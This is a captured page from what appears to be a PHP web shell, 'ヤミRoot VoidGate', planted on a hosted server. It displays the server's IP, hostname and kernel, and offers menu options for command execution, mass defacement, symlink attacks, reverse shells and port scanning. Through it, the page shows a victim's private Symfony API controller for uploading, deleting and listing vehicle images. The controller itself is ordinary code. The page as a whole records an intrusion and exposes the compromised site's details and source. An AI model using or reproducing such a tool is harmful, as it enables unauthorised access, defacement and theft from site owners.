ヤミRoot VoidGate
User / IP
:
216.73.216.137
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
src
/
AppBundle
/
Controller
/
Api
/
Viewing: ImageController.php
<?php namespace AppBundle\Controller\Api; use FOS\RestBundle\Controller\FOSRestController; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpFoundation\JsonResponse; use FOS\RestBundle\Request\ParamFetcher; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Security; use Symfony\Component\HttpKernel\Exception\BadRequestHttpException; use Nelmio\ApiDocBundle\Annotation as Doc; use FOS\RestBundle\Controller\Annotations as Rest; /** * Image Controller */ class ImageController extends FOSRestController { /** * Uploads a new Image <br > * NOTE: The user must provide a form field named 'image' which will represent the upladed image * * @Rest\Post( * path = "/images" * ) * @Rest\QueryParam( * name="imageType", * requirements="(bus-image|cab-image|agency-image|company-logo)", * nullable=false, * strict = true, * description="Sets the type of the image. Each type refers to a particular target resource." * ) * @Rest\QueryParam( * name="resourceId", * requirements="\d+", * nullable=false, * strict = true, * description="Set the id of the target resource.This value should be provided with a busId or cabId or agencyId or companyId (ACCORDING TO THE imageType)." * ) * @Rest\View() * @Security("has_role('ROLE_STAFF')") * @Doc\ApiDoc( * section="Images", * resource=true, * description="Upload a new image (for Cabs or Buses).", * statusCodes={ * Response::HTTP_OK = "Successful", * Response::HTTP_FORBIDDEN = "Access denied", * Response::HTTP_BAD_REQUEST = "Bad request" * } * ) */ public function uploadAction(Request $request, ParamFetcher $paramFetcher) { $imageType = $paramFetcher->get('imageType'); $resourceId= (int)$paramFetcher->get('resourceId'); $file = $request->files->get('image'); if( !$file ) throw new BadRequestHttpException("Please provide the image file in a field named 'image' ."); $imageManager = $this->get('image_manager'); return $imageManager->createImage($file, $resourceId, $imageType); } /** * Deletes an Image * * @Rest\Delete( * path = "/images", * ) * @Rest\QueryParam( * name="imageType", * requirements="(bus-image|cab-image|agency-image|company-logo)", * nullable=false, * strict = true, * description="Sets the type of vehicle represented by the image." * ) * @Rest\QueryParam( * name="imageId", * requirements="\d+", * nullable=false, * description="Set the id of Image to delete." * ) * @Rest\View() * @Security("has_role('ROLE_STAFF')") * @Doc\ApiDoc( * section="Images", * resource=true, * description="Deletes an image (for Cabs or Buses).", * statusCodes={ * Response::HTTP_OK = "Successful", * Response::HTTP_FORBIDDEN = "Access denied", * Response::HTTP_BAD_REQUEST = "Bad request" * } * ) */ public function deleteAction(ParamFetcher $paramFetcher) { $imageType = $paramFetcher->get('imageType'); $imageId = (int) $paramFetcher->get('imageId'); $imageManager = $this->get('image_manager'); $deleted = $imageManager->deleteImage($imageId, $imageType); if ($deleted) return new JsonResponse([ 'code' =>200, 'message' => 'Image deleted'], 200); } /** * Get the images of a vehicle * * @Rest\Get( * path = "/images" * ) * @Rest\QueryParam( * name="imageType", * requirements="(bus-image|cab-image|agency-image|company-logo)", * nullable=false, * strict = true, * description="Sets the type of the image. Each type refers to a particular target resource." * ) * @Rest\QueryParam( * name="resourceId", * requirements="\d+", * nullable=false, * description="Set the id of the target resource.This value should be provided with a busId or cabId or agencyId or companyId (ACCORDING TO THE imageType)." * ) * @Rest\View() * @Doc\ApiDoc( * section="Images", * resource=true, * description="Get the images of a vehicle (for Cabs or Buses).", * statusCodes={ * Response::HTTP_OK = "Successful", * Response::HTTP_FORBIDDEN = "Access denied", * Response::HTTP_BAD_REQUEST = "Bad request" * } * ) */ public function getImages(ParamFetcher $paramFetcher) { $imageType = $paramFetcher->get('imageType'); $resourceId= (int)$paramFetcher->get('resourceId'); $imageManager = $this->get('image_manager'); return $imageManager->listImages($resourceId, $imageType); } }
Coded With 💗 by
0x6ick